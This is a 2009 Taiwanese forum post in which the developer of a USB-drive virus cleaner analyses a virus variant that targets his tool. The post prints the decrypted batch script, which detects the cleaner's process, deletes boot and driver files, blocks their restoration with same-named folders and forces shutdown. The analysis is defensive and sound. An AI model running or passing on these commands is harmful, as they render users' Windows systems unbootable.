作者junorn (威廉華勒斯)
看板AntiVirus
標題[閒聊] 有意思了...
時間Sun Aug 23 01:15:27 2009
這一次碰到的隨身碟資料夾型病毒很有意思
感謝香菇小精靈隨身碟病毒清除作者提供了一些資訊
是這樣的.
前幾天我有跟人提到就是台灣製的隨身碟病毒
這個隨身碟病毒有變種
而他這一次的變種有針對EFix而來.
這還第一次碰到....還蠻有意思的
香菇小精靈有提到該病毒會檢測系統裡面的程序
該批次代碼如下:
tasklist|findstr /c:"ef.com" && (goto :kill)
:kill
taskkill /F /IM explorer.exe
del /f /s /q /a:h %SystemDrive%\boot.ini
del /f /s /q /a:h %SystemDrive%\IO.sys
del /f /s /q /a:h %SystemDrive%\CONFIG.SYS
del /f /s /q /a:h %SystemDrive%\ntldr
del /f /s /q /a:h %SystemDrive%\AUTOEXEC.BAT
del /f /s /q /a:h %SystemDrive%\MSDOS.SYS
md %SystemDrive%\boot.ini
md %SystemDrive%\IO.sys
md %SystemDrive%\CONFIG.SYS
md %SystemDrive%\ntldr
md %SystemDrive%\AUTOEXEC.BAT
md %SystemDrive%\MSDOS.SYS
del /f /s /q "%windir%\system32\drivers\pci.sys"
md "%windir%\system32\drivers\pci.sys"
shutdown -f -s -t 0
del %0
上面的代碼我大概解釋一下
該病毒使用tasklist 這一段指令去檢查執行中的程序裡面有沒有一個叫做 ef.com的程序
有的話，就刪除上面從:kill之後的檔案並建立資料夾讓你沒辦法複製回去
然而ef.com 就是EFix使用的主運作程序....XD
所以我想之前有一位版友有碰到ntldr移失的，我看大概就是因為這樣的原因
好樣的....
我這兩天會找時間再做一些修改，看看能不能突破這惡意攻擊...
有中的人自己先小心點.
--
暮色逼近的雲朵之上，總是孤單一隻地飛著，老鷹一定很悲傷吧
在聲音也中斷的風之中，抓住天空的那對翅膀，無法休息
把心比喻成什麼吧，宛如老鷹一般的這顆心
把心比喻成什麼吧，比喻為宛如在天空飛舞般的悲傷
--
※ 發信站: 批踢踢實業坊(ptt.cc)
◆ From: 61.216.81.78
※ 編輯: junorn 來自: 61.216.81.78 (08/23 01:22)
1F：推 oscar60111:請問那一段bat碼是明碼嗎? 還是有加密或加殼過? 08/23 01:27
2F：→ junorn:這一點我不清楚，不過聽香菇小精靈是說有加密. 08/23 01:28
3F：→ junorn:而他解密之後得到的內容大致如上. 08/23 01:28
4F：→ junorn:而該病毒作者也在該批次代碼中留下了罵他的代碼. 08/23 01:29
5F：→ junorn:罵香菇作者的代碼 08/23 01:29
7F：推 aresting:辛苦J大了 08/23 01:34
8F：推 TypeZero:J大大～又要辛苦改程式了 08/23 01:45
9F：→ junorn:沒辦法，我當初其實就有作預防了，不過後來想應該不會有人 08/23 01:46
10F：→ junorn:要對我這不知名的軟體做攻擊，結果竟然還真的有XD 08/23 01:47
11F：→ junorn:也因為沒想到真的有人會作針對性攻擊所以就把預防那一段拿 08/23 01:47
12F：→ junorn:掉了...0rz 08/23 01:48
13F：推 oscar60111:有看到了 @@" 算是明碼 只是被塞了很多垃圾字串 0rz 08/23 02:59
14F：→ oscar60111:J大辛苦了 <_ _> 08/23 03:00
15F：推 TimeToDie:好精彩 好刺激...大家是不是都熱血起來了 08/23 07:52
16F：推 nicayoung:不算不知名的軟體喔，已經是解隨身碟病毒的王牌了 08/23 09:21
17F：→ MOMONGANAITO:要戰了嗎 08/23 13:20
18F：→ junorn:恩...現在沒他詳細樣本沒的測,就目前已知他是抓我主程序 08/23 13:54
19F：→ junorn:抓到之後作自爆讓系統跟著一起爆,所以目前目標是讓他抓不到 08/23 13:55
20F：→ junorn:我主程序...亂數他就抓不到了吧XD 08/23 13:55
21F：推 joycewanga:莫非 這就是傳說中的頂尖對決嗎 08/23 16:03
22F：推 Yifong:好刺激! J大加油 08/23 17:13
23F：推 VictorTom:小弟覺得, 這要針對EFix攻擊的惡意程式還有個附加作用, 08/23 21:05
24F：→ VictorTom:會造成使用者有"使用EFix後系統會不知道原因爛掉"的錯覺 08/23 21:06
25F：→ VictorTom:, 當然對其實安全軟體做也有類似的效用, 總之這種針對性 08/23 21:06
26F：→ VictorTom:的攻擊來者不善, 要勞煩j大操心了; 話說, 安全軟體有一 08/23 21:08
27F：→ VictorTom:個特性就是得讓使用者知道它還有作用(雖然惡意程式會試 08/23 21:09
28F：→ VictorTom:者癱掉它但讓它好像還活者XD), 亂數主程序的話user要如 08/23 21:10
29F：→ VictorTom:何知道它還有在工作呢@_@" 08/23 21:10
30F：→ VictorTom:更正: "這樣針對", "對其他安全", 年紀大了狂typo...Orz 08/23 21:11
31F：→ junorn:放心，亂數主程序只是在程序顯示是亂數而已，介面那些都一 08/23 21:30
32F：→ junorn:樣，但錯覺這我就沒辦法，畢竟我在明他在暗，只能說盡量請 08/23 21:31
33F：→ junorn:大家能夠將樣本丟上來，這樣我才有機會去作修改... 08/23 21:31
34F：→ junorn:像這一次少說他改版已經改了有一段時間，結果還是香菇那邊 08/23 21:33
35F：→ junorn:的人將樣本提供給他他才知道.. 08/23 21:33
36F：→ junorn:然後他貼上來之後我才知道....0rz 08/23 21:34
37F：推 oscar60111:應該也沒想到會主動還擊吧，中毒模式或許跟以前都一樣 08/23 22:32
38F：→ oscar60111:就差讓人有Efix故障錯覺而已，小弟的看法和V大相同 @@" 08/23 22:33
39F：→ junorn:所以才說我在明他在暗我沒辦法冏> .. 唯一能作的就是盡量 08/23 22:44
40F：→ junorn:能拿到他變種的版本盡早作修改. 這一次我修改過了他現在用 08/23 22:45
41F：→ junorn:的手法會失效，但不知道他會換甚麼樣子的手法... 08/23 22:45
42F：推 VCCS:J大紅了 XD 08/24 13:55